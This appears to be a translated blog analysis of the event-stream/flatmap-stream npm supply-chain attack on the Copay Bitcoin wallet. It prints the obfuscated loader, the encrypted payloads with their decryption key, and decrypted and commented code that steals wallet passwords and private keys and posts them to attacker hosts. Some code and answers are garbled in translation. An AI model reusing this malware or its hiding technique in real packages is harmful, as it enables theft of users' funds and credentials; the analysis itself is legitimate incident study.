If you’re a JavaScript or blockchain developer, and if you care about blockchain and bitcoin, you’ve probably heard about the hack of Copay, the Bitcoin wallet. But do you know what this is about?

conclusion

  • The Bitcoin wallet Copay relies on the Event-Stream module;
  • The hacker defrauded the EVENT-stream module of NPM publishing permission.
  • The hacker added a dependency on flatmap-stream to the event-stream module;
  • Flatmap-stream contains hacker code that will only be executed correctly in the Copay project to steal users’ passwords, private keys, and other information, thus stealing Bitcoin;
  • Some people say that Vue may be attacked, but there is no such thing as hacking code that only executes correctly in copay projects. Only the description string “A Secure Bitcoin Wallet” in the copay project’s package.json can decrypt the hacker code; Moreover, the hacker’s code was tailor-made for Copay and had no effect on other projects; Besides, hackers are here to steal bitcoins, not mine them. Do you have any bitcoins to steal from your project?

Q&A

  • Which version of Copay was attacked? 5.0.2 to 5.1.0
  • Which version of event-stream was attacked? 3.3.6
  • Which version of flatmap-stream was attacked? while
  • Will Vue be attacked? Don’t

In addition, you are welcome to try Fundebug error monitoring service for free

Look for the hacker code in flatmap-stream

Flatmap-stream has been removed by NPM, but the code can also be found at UNPKG: unpkg.com/flatmap-str…

Index.min.js is compressed code and therefore very unreadable:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t? (void 0! ==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&! n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1.void 0! ==r)returnw(r,a); a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable"); s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return! f}catch(r){if(s)throw r;returnp(r),! f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i}; !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(! o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9])); a+=u.final(e(n[9]));var f=new module.constructor; f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
Copy the code

However, the hacker code is not hidden deeply, and is added directly to the end of index.min.js:

!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(! o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9])); a+=u.final(e(n[9]));var f=new module.constructor; f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
Copy the code

Restore the hacker code using Unminify:

! function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), o = t[e(n[3])][e(n[4])]; if (! o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }();Copy the code

This code is actually very short, and the way the hacker confuses it is not very clever, so we can restore it step by step.

  • Replace r with require
  • Replace the variable t with process
  • Function E has the simple task of converting a hexadecimal string to AN ASCII string, hence the name hexToAscii
! (function() {
    try {
        function hexToAscii(r) {
            return Buffer.from(r, "hex").toString();
        }
        var n = require(hexToAscii("2e2f746573742f64617461")),
            o = process[hexToAscii(n[3])][hexToAscii(n[4])];
        if(! o)return;
        var u = require(hexToAscii(n[2]))[hexToAscii(n[6])](
                hexToAscii(n[5]),
                o
            ),
            a = u.update(n[0], hexToAscii(n[8]), hexToAscii(n[9]));
        a += u.final(hexToAscii(n[9]));
        var f = new module.constructor();
        (f.paths = module.paths), f[hexToAscii(n[7])](a, ""), f.exports(n[1]);
    } catch (r) {
        // Ignore the error
    }
})();
Copy the code

/test/data**, so the array n is: unpkg.com/flatmap-str… The data file cannot be found. According to FallingSnow’s previous analysis, it is an array:

[
    "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f 716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4 d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187 aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961 c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b 143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8 aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279 c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1 d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b14946 3a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0b fceeb4670982232800a9b695d824a7ada3d41e568ecaa6629"."db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef 3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bb ffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c0 1d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb6 97c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beacc ff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a46352 54e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df 4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78 099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0a c1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb 6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352c bad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d8174 0353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36 a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3 795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad9396 7e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d62769 2bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d 6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396 316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386 f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b 0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b 9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076 b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f380 18a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede 3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d9 2157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bb bebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2 d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983e b31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d 4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5 ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48c af24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2 e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f1 5ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704 b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399 ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f 71ea4e53a45415ddb03039549b18bc6e1"."63727970746f"."656e76"."6e706d5f7061636b6167655f6465736372697074696f6e"."616573323536"."6372656174654465636970686572"."5f636f6d70696c65"."686578"."75746638"
]
Copy the code

There are 10 elements in array N, except for the first two elements, all the other elements are converted by hexToAscii function, which results in the following:

  • hexToAscii(n[2]): crypto
  • hexToAscii(n[3]): env
  • hexToAscii(n[4]): npm_package_description
  • hexToAscii(n[5]): aes256
  • hexToAscii(n[6]): createDecipher
  • hexToAscii(n[7]): _compile
  • hexToAscii(n[8]): hex
  • hexToAscii(n[9]): utf8

Replace all of these values with the following code:

! (function() {
    try {
        var n = [
            "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f 716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4 d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187 aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961 c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b 143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8 aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279 c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1 d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b14946 3a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0b fceeb4670982232800a9b695d824a7ada3d41e568ecaa6629"."db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef 3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bb ffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c0 1d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb6 97c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beacc ff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a46352 54e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df 4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78 099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0a c1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb 6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352c bad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d8174 0353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36 a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3 795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad9396 7e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d62769 2bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d 6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396 316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386 f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b 0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b 9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076 b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f380 18a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede 3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d9 2157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bb bebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2 d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983e b31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d 4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5 ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48c af24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2 e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f1 5ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704 b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399 ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f 71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"] ["npm_package_description"];
        if(! o)return;
        var u = require("crypto") ["createDecipher"] ("aes256", o),
            a = u.update(n[0]."hex"."utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {
        // Ignore the error
    }
})();
Copy the code

The crypto. CreateDecipher function is used in the code as follows:

crypto.createDecipher(algorithm, password)
// Creates and returns a Decipher object that uses the given algorithm and password
Copy the code

The description attribute of the copay project package.json is “A Secure Bitcoin Wallet”. “Exactly” can successfully decrypt the n[0] string, following unminify:

/ * @ @ * /
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex"."utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit".function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};
Copy the code

We see exactly the same pattern in the decrypted code, only this time with n[1], after unminify:

/ * @ @ * / ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQ EIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEB i2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8L iUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080.method: "POST".path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"}},function() {});
                r.on("error".function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create:!1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile".function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split("") [0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c".JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();
Copy the code

This is the code that actually steals bitcoin, which we’ll look at later.

How do hackers hide hacker code?

  • The hackers hid three pieces of code;
  • The first code is hidden in the index.min.js end of the flatmap-stream. The code uses a hexadecimal string to hide the true string.
  • The second code is hidden in the flatmap-stream’s test/data array and needs to be decrypted using the Description string of the Copay project, which is decrypted in the first code;
  • The third code is also hidden in the flatmap-stream’s test/data array and needs to be decrypted using the Description string of the Copay project, which is decrypted in the second code;
  • It was the third piece of code that actually stole the Bitcoin wallet Copay;
  • The second and third sections of the code need to be decrypted using the description string **”A Secure Bitcoin Wallet”** from copay.
  • The hacker used ** buffer.from (STR, “hex”).tostring ()** in several places to obfuscate the code, converting the ASCII string to a hexadecimal string, making the code difficult to read;
  • The hackers used the AES256 algorithm to encrypt the hacker code twice. Without the decryption password, it is impossible to know which project the hackers attacked and what they did. Maths22 successfully found the password “A Secure Bitcoin Wallet” and the hacked project Copay;
  • Try… Catch, otherwise throwing unaccountable errors is easily exposed; (Here is another example of how important it is to monitor code errors. Please try Fundebug for free.)

How do hackers steal Bitcoin

I analyzed and simplified the third section of the hacker’s code as follows:

/*global cordova resolveLocalFileSystemURL chrome*/! (function() {
    var http = require("http");
    var crypto = require("crypto");
    // The hacker's public key, used to encrypt stolen data so that only the hacker's public key can be decrypted
    var publicKey =
        "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQ EIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEB i2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8L iUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

    // Send stolen data to the hacker's server
    function httpRequest(hostname, path, data) {
        var request = http.request(
            {
                hostname: hostname,
                port: 8080.method: "POST".path: "/" + path,
                headers: {
                    "Content-Length": data.length,
                    "Content-Type": "text/html"}},function() {}); request.on("error".function() {});
        request.write(data);
        request.end();
    }

    / / the user password sent to http://111.90.151.134:8080/p
    / / the user other information sent to http://111.90.151.134:8080/c
    function sendToHacker(path, t) {
        // The hacker simply encodes and encrypts the data
        for (var n = "", r = 0; r < t.length; r += 200) {
            var o = t.substr(r, 200);
            // Use the hacker's public key to encrypt stolen data
            n +=
                crypto
                    .publicEncrypt(publicKey, Buffer.from(o, "utf8"))
                    .toString("hex") + "+";
        }
        httpRequest("copayapi.host", path, n);
        httpRequest("111.90.151.134", path, n);
    }

    // Steal user information
    function getUserInfo(type, n) {
        if (window.cordova) {
            var e = cordova.file.dataDirectory;
            resolveLocalFileSystemURL(e, function(e) {
                e.getFile(
                    type,
                    {
                        create:!1
                    },
                    function(e) {
                        e.file(function(e) {
                            var t = new FileReader();
                            (t.onloadend = function() {
                                return n(JSON.parse(t.result));
                            }),
                                (t.onerror = function() { t.abort(); }), t.readAsText(e); }); }); }); }else {
            var r = localStorage.getItem(type);
            if (r) return n(JSON.parse(r));

            chrome.storage.local.get(type, function(e) {
                if (e) return n(JSON.parse(e[type])); }); }}function steal() {
        var ifSteal = false;
        // Steal users' private information, such as private keys
        getUserInfo("profile".function(profile) {
            for (var t in profile.credentials) {
                var n = profile.credentials[t];
                if (n.network == "livenet") {
                    getUserInfo(
                        "balanceCache-" + n.walletId,
                        function(e) {
                            var t = this;
                            t.balance = parseFloat(e.balance.split("") [0]);
                            // When the number of Bitcoins exceeds 100 or the number of BCH exceeds 1000, the user data is sent to the hacker server
                            if(("btc" == t.coin && t.balance > 100) | | ("bch" == t.coin && t.balance > 1000)
                            ) {
                                ifSteal = true;
                                sendToHacker("c".JSON.stringify(t)); } }.bind(n) ); }}});// Steal the user's password by overriding getKeys
        var Credentials = require("bitcore-wallet-client/lib/credentials.js");
        Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
        Credentials.prototype.getKeys = function(password) {
            var keys = this.getKeysFunc(password);
            if (ifSteal) {
                // Send the stolen password to the hacker server
                sendToHacker("p", password + "\t" + this.xPubKey);
            }
            return keys;
        };
    }

    if (window.cordova) {
        document.addEventListener("deviceready", steal);
    } else {
        steal();
    }
})();
Copy the code

A detailed analysis can be found in the code comments I wrote, in addition to summarizing these points

  • The purpose of this code is to steal user information, not mine it;
  • Hackers by rewriting getKeys function stole the copay user’s password, send to http://111.90.151.134:8080/p
  • Hackers stole all copay user privacy information, including the private key, is sent to http://111.90.151.134:8080/c
  • The hacker simply obfuscates the stolen data and encrypts the public key so that only he can read it;
  • The hacker apparently analyzed copay’s source code and customized it so that it would be invalid for other projects and would definitely report errors, so he wrote a lot of try… The catch. On the other hand, other projects like Vue don’t need to worry at all;
  • By scanning port 8080 of the hacker’s server 111.90.151.134 with the Nmap command, it can be seen that the hacker no longer receives stolen data.

At the end

